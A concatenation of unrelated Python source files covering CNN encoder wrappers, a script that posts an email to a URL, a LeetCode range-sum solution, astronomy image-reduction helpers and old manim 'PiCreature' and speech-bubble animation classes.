self.model = effnets[name](pretrained = pretrained) self.out_channels = self.model.classifier.in_features del self.model.global_pool del self.model.classifier def forward(self,x): out = self.model.forward_features(x) return out class RegNetEncoder(nn.Module): def __init__(self,name='regnety_002',pretrained = True): super().__init__() assert name in regnets.keys(), '{} is not valid for a regnet name'.format(name) self.model = regnets[name](pretrained = pretrained) self.out_channels = self.model.head.fc.in_features del self.model.head def forward(self,x): out = self.model.forward(x) return out class RexNetEncoder(nn.Module): def __init__(self,name = 'rexnet_100',keep_rounded_channels=True,pretrained = True): super().__init__() assert name in rexnets.keys(), '{} is not valid for a rexnet name'.format(name) self.model = rexnets[name](pretrained = pretrained) self.out_channels = self.model.head.fc.in_features if(keep_rounded_channels) else self.model.features[-1].in_channels del self.model.head if(not keep_rounded_channels) : self.model.features = self.model.features[:-1] def forward(self,x): out = self.model.forward_features(x) return out def get_encoder(name='resnet50',pretrained = True,**kwargs): if('resnet' in name): op = ResNetEncoder elif('efficientnet' in name): op = EfficientNetEncoder elif('regnet' in name): op = RegNetEncoder elif('rexnet' in name): op = RexNetEncoder else: raise ValueError('{} model is not an option!!'.format(name)) return op(name = name,pretrained = pretrained,**kwargs)
#!/usr/bin/python3 # send a post request containing an email, using requests if __name__ == '__main__': import requests from sys import argv url = argv[1] data = {'email': argv[2]} r = requests.post(url, data=data) print(r.text)
# https://leetcode.com/problems/count-of-range-sum/ """ Given an integer array nums, return the number of range sums that lie in [lower, upper] inclusive. Range sum S(i, j) is defined as the sum of the elements in nums between indices i and j (i ≤ j), inclusive. Note: A naive algorithm of O(n2) is trivial. You MUST do better than that. Example: Input: nums = [-2,5,-1], lower = -2, upper = 2, Output: 3 Explanation: The three ranges are : [0,0], [2,2], [0,2] and their respective sums are: -2, -1, 2. Constraints: 0 <= nums.length <= 10^4 """ from collections import deque from typing import List # TLE: O(n^2) def count_range_sum(nums: List[int], lower: int, upper: int) -> int: n = len(nums) prefix_sum = [0] * (n + 1) for i in range(n): prefix_sum[i + 1] = prefix_sum[i] + nums[i] res = 0 for i in range(n): for j in range(i, n): if j == i: if lower <= nums[j] <= upper: res += 1 else: if lower <= (prefix_sum[j + 1] - prefix_sum[i]) <= upper: res += 1 return res # merge sort: O(n*logn) def count_range_sum(nums: List[int], lower: int, upper: int) -> int: n = len(nums) prefix_sum = [0] * (n + 1) for i in range(n): prefix_sum[i + 1] = prefix_sum[i] + nums[i] # inclusive def mergesort(l, r): # [l, r] if l == r: return 0 mid = (l + r) >> 1 count = mergesort(l, mid) + mergesort(mid + 1, r) i = j = mid + 1 for left in prefix_sum[l : mid + 1]: while i <= r and prefix_sum[i] - left < lower: i += 1 while j <= r and prefix_sum[j] - left <= upper: j += 1 count += j - i prefix_sum[l : r + 1] = sorted(prefix_sum[l : r + 1]) return count return mergesort(0, n) # merge sort def count_range_sum(nums: List[int], lower: int, upper: int) -> int: n = len(nums) prefix_sum = [0] * n prefix_sum[0] = nums[0] for i in range(1, n): prefix_sum[i] = prefix_sum[i - 1] + nums[i] def merge(arr1, arr2): ans = deque() i, j = 0, 0 while i < len(arr1) and j < len(arr2): if arr1[i] < arr2[j]: ans.append(arr1[i]) i += 1 else: ans.append(arr2[j]) j += 1 ans.extend(arr1[i:]) ans.extend(arr2[j:]) return list(ans) def mergesort(l, r): # [l, r) mid = (l + r) // 2 if l == mid: return int(lower <= prefix_sum[l] <= upper) count = mergesort(l, mid) + mergesort(mid, r) i = j = mid for left in prefix_sum[l:mid]: while i < r and prefix_sum[i] - left < lower: i += 1 while j < r and prefix_sum[j] - left <= upper: j += 1 count += j - i # prefix_sum[l:r] = sorted(prefix_sum[l:r]) prefix_sum[l:r] = merge(prefix_sum[l:mid], prefix_sum[mid:r]) return count return mergesort(0, n) if __name__ == "__main__": count_range_sum([-2, 5, -1], -2, 2)
import numpy as np from astropy import visualization as aviz from astropy.nddata.utils import block_reduce, Cutout2D from matplotlib import pyplot as plt import matplotlib.colors as clr import os import re def save_image(image, name = 'Image', path = os.getcwd()): """ image = image data name = name of the image, default is Image path = path of the resultant image, default is the the present working directory """ fig, ax = plt.subplots(1, 1, figsize = (5,10)) im = ax.imshow(image, origin = 'lower', norm = clr.LogNorm(vmin=3, vmax=20000),cmap='PuBu_r') fig.colorbar(im, ax = ax, fraction = 0.046, pad = 0.04) fig.savefig(path, name + '.png') def find_nearest_dark_exposure(image, dark_exposure_times, tolerance=0.5): """ Find the nearest exposure time of a dark frame to the exposure time of the image, raising an error if the difference in exposure time is more than tolerance. This function is taken from the CCD Data reduction guide: https://mwcraig.github.io/ccd-as-book/00-00-Preface.html Parameters ---------- image : astropy.nddata.CCDData Image for which a matching dark is needed. dark_exposure_times : list Exposure times for which there are darks. tolerance : float or ``None``, optional Maximum difference, in seconds, between the image and the closest dark. Set to ``None`` to skip the tolerance test. Returns ------- float Closest dark exposure time to the image. """ dark_exposures = np.array(list(dark_exposure_times)) idx = np.argmin(np.abs(dark_exposures - image.header['exptime'])) closest_dark_exposure = dark_exposures[idx] if (tolerance is not None and np.abs(image.header['exptime'] - closest_dark_exposure) > tolerance): return None #raise RuntimeError('Closest dark exposure time is {} for flat of exposure ' #'time {}.'.format(closest_dark_exposure, image.header['exptime'])) return closest_dark_exposure def inverse_median(a): return 1/np.median(a) #------------------------------------------------------------------------------------------ #-------------------------------Natural Sorting-------------------------------------------- #------------------------------------------------------------------------------------------ def atoi(text): return int(text) if text.isdigit() else text def natural_keys(text): ''' alist.sort(key=natural_keys) sorts in human order http://nedbatchelder.com/blog/200712/human_sorting.html (See Toothy's implementation in the comments) ''' return [ atoi(c) for c in re.split(r'(\d+)', text) ] #------------------------------------------------------------------ #-----------------------Special Maxima----------------------------- #------------------------------------------------------------------ """ This function finds a maximum among a dataset which is not a Dirac-delta. """ def special_maxi(x_array): x_ary = x_array yy = np.max(x_ary) abc = np.where(x_ary == yy) if abc[0][0] == 255: cd = x_ary[abc[0][0]-1] else: cd = (x_ary[abc[0][0]-1]+x_ary[abc[0][0]+1])/2 if (yy-cd)>5: x_ary[abc[0][0]] = 0 yy = np.max(x_ary) return yy, x_ary def special_maximum(x_array): x_ary = x_array maxi = True while maxi: aaa, xnew = special_maxi(x_ary) aaa1, xnew1 = special_maxi(xnew) if aaa == aaa1: maxi = False else: aaa = aaa1 xnew = xnew1 return aaa #------------------------------------------------------------------ #--------------Polynomial of arbitraty degree---------------------- #------------------------------------------------------------------ def arbi_poly(x, *params): """ Parameters ---------- x : numpy.ndarray takes the values of x where the value of polynomial is needed *params: tuple, numpy.ndarray values of coefficients of the polynomial lowest degree first ---------- returns ---------- numpy.ndarray : values of polynomial at desired x-values """ return sum([p*(x**i) for i, p in enumerate(params)]) #------------------------------------------------------------------ #------------Negative Gaussian and Log-likelihood------------------ #------------------------------------------------------------------ def neg_gaus(x, mu, sig, const, aa): yy = np.exp(-0.5*((x-mu)/sig)**2) zz = -aa*yy + const return zz
from helpers import * from mobject import Mobject from mobject.image_mobject import ImageMobject from mobject.tex_mobject import TexMobject, TextMobject from topics.geometry import Circle, Line PI_CREATURE_DIR = os.path.join(IMAGE_DIR, "PiCreature") PI_CREATURE_SCALE_VAL = 0.5 PI_CREATURE_MOUTH_TO_EYES_DISTANCE = 0.25 def part_name_to_directory(name): return os.path.join(PI_CREATURE_DIR, "pi_creature_"+name) + ".png" class PiCreature(Mobject): DEFAULT_CONFIG = { "color" : BLUE_E } PART_NAMES = [ 'arm', 'body', 'left_eye', 'right_eye', 'left_leg', 'right_leg', 'mouth', ] WHITE_PART_NAMES = ['left_eye', 'right_eye', 'mouth'] MOUTH_NAMES = ["smile", "frown", "straight_mouth"] def __init__(self, **kwargs): Mobject.__init__(self, **kwargs) for part_name in self.PART_NAMES: mob = ImageMobject( part_name_to_directory(part_name), should_center = False ) if part_name not in self.WHITE_PART_NAMES: mob.highlight(self.color) setattr(self, part_name, mob) self.eyes = Mobject(self.left_eye, self.right_eye) self.legs = Mobject(self.left_leg, self.right_leg) mouth_center = self.get_mouth_center() self.mouth.center() self.smile = self.mouth self.frown = self.mouth.copy().rotate(np.pi, RIGHT) self.straight_mouth = TexMobject("-").scale(0.7) for mouth in self.smile, self.frown, self.straight_mouth: mouth.sort_points(lambda p : p[0]) mouth.highlight(self.color) ##to blend into background mouth.shift(mouth_center) self.digest_mobject_attrs() self.give_smile() self.add(self.mouth) self.scale(PI_CREATURE_SCALE_VAL) def get_parts(self): return [getattr(self, pn) for pn in self.PART_NAMES] def get_white_parts(self): return [ getattr(self, pn) for pn in self.WHITE_PART_NAMES+self.MOUTH_NAMES ] def get_mouth_center(self): result = self.body.get_center() result[0] = self.eyes.get_center()[0] return result # left_center = self.left_eye.get_center() # right_center = self.right_eye.get_center() # l_to_r = right_center-left_center # eyes_to_mouth = rotate_vector(l_to_r, -np.pi/2, OUT) # eyes_to_mouth /= np.linalg.norm(eyes_to_mouth) # return left_center/2 + right_center/2 + \ # PI_CREATURE_MOUTH_TO_EYES_DISTANCE*eyes_to_mouth def highlight(self, color, condition = None): for part in set(self.get_parts()).difference(self.get_white_parts()): part.highlight(color, condition) return self def move_to(self, destination): self.shift(destination-self.get_bottom()) return self def change_mouth_to(self, mouth_name): #TODO, This is poorly implemented self.mouth = getattr(self, mouth_name) self.sub_mobjects = list_update( self.sub_mobjects, self.get_parts() ) self.mouth.highlight(WHITE) return self def give_smile(self): return self.change_mouth_to("smile") def give_frown(self): return self.change_mouth_to("frown") def give_straight_face(self): return self.change_mouth_to("straight_mouth") def get_eye_center(self): return self.eyes.get_center() def make_mean(self): eye_x, eye_y = self.get_eye_center()[:2] def should_delete((x, y, z)): return y - eye_y > 0.3*abs(x - eye_x) self.eyes.highlight("black", should_delete) self.give_straight_face() return self def make_sad(self): eye_x, eye_y = self.get_eye_center()[:2] eye_y += 0.15 def should_delete((x, y, z)): return y - eye_y > -0.3*abs(x - eye_x) self.eyey.highlight("black", should_delete) self.give_frown() return self def get_step_intermediate(self, pi_creature): vect = pi_creature.get_center() - self.get_center() result = self.copy().shift(vect / 2.0) left_forward = vect[0] > 0 if self.right_leg.get_center()[0] < self.left_leg.get_center()[0]: #For Mortimer's case left_forward = not left_forward if left_forward: result.left_leg.wag(vect/2.0, DOWN) result.right_leg.wag(-vect/2.0, DOWN) else: result.right_leg.wag(vect/2.0, DOWN) result.left_leg.wag(-vect/2.0, DOWN) return result def blink(self): bottom = self.eyes.get_bottom() self.eyes.apply_function( lambda (x, y, z) : (x, bottom[1], z) ) return self def shift_eyes(self): for eye in self.left_eye, self.right_eye: eye.rotate_in_place(np.pi, UP) return self def to_symbol(self): Mobject.__init__( self, *list(set(self.get_parts()).difference(self.get_white_parts())) ) class Randolph(PiCreature): pass #Nothing more than an alternative name class Mortimer(PiCreature): DEFAULT_CONFIG = { "color" : MAROON_E } def __init__(self, **kwargs): PiCreature.__init__(self, **kwargs) # self.highlight(DARK_BROWN) self.give_straight_face() self.rotate(np.pi, UP) class Mathematician(PiCreature): DEFAULT_CONFIG = { "color" : GREY, } def __init__(self, **kwargs): PiCreature.__init__(self, **kwargs) self.give_straight_face() class Bubble(Mobject): DEFAULT_CONFIG = { "direction" : LEFT, "center_point" : ORIGIN, } def __init__(self, **kwargs): Mobject.__init__(self, **kwargs) self.center_offset = self.center_point - Mobject.get_center(self) if self.direction[0] > 0: self.rotate(np.pi, UP) self.content = Mobject() def get_tip(self): raise Exception("Not implemented") def get_bubble_center(self): return self.get_center()+self.center_offset def move_tip_to(self, point): self.shift(point - self.get_tip()) return self def flip(self): self.direction = -np.array(self.direction) self.rotate(np.pi, UP) return self def pin_to(self, mobject): mob_center = mobject.get_center() if (mob_center[0] > 0) != (self.direction[0] > 0): self.flip() boundary_point = mobject.get_boundary_point(UP-self.direction) vector_from_center = 1.5*(boundary_point-mob_center) self.move_tip_to(mob_center+vector_from_center) return self def add_content(self, mobject): scaled_width = 0.75*self.get_width() if mobject.get_width() > scaled_width: mobject.scale(scaled_width / mobject.get_width()) mobject.shift(self.get_bubble_center()) self.content = mobject return self def write(self, text): self.add_content(TextMobject(text)) return self def clear(self): self.content = Mobject() return self class SpeechBubble(Bubble): DEFAULT_CONFIG = { "initial_width" : 6, "initial_height" : 4, } def generate_points(self): complex_power = 0.9 radius = self.initial_width/2 circle = Circle(radius = radius) circle.scale(1.0/radius) circle.apply_complex_function(lambda z : z**complex_power) circle.scale(radius) boundary_point_as_complex = radius*complex(-1)**complex_power boundary_points = [ [ boundary_point_as_complex.real, unit*boundary_point_as_complex.imag, 0 ] for unit in -1, 1 ] tip = radius*(1.5*LEFT+UP) self.little_line = Line(boundary_points[0], tip) self.circle = circle self.add( circle, self.little_line, Line(boundary_points[1], tip) ) self.highlight("white") self.rotate(np.pi/2) self.stretch_to_fit_height(self.initial_height) def get_tip(self): return self.little_line.points[-1] def get_bubble_center(self): return self.circle.get_center() class ThoughtBubble(Bubble): DEFAULT_CONFIG = { "num_bulges" : 7, "initial_inner_radius" : 1.8, "initial_width" : 6, } def __init__(self, **kwargs): Bubble.__init__(self, **kwargs) def get_tip(self): return self.small_circle.get_bottom() def generate_points(self): self.small_circle = Circle().scale(0.15) self.small_circle.shift(2.5*DOWN+2*LEFT) self.add(self.small_circle) self.add(Circle().scale(0.3).shift(2*DOWN+1.5*LEFT)) for n in range(self.num_bulges): theta = 2*np.pi*n/self.num_bulges self.add(Circle().shift((np.cos(theta), np.sin(theta), 0))) self.filter_out(lambda p : np.linalg.norm(p) < self.initial_inner_radius) self.stretch_to_fit_width(self.initial_width) self.highlight("white")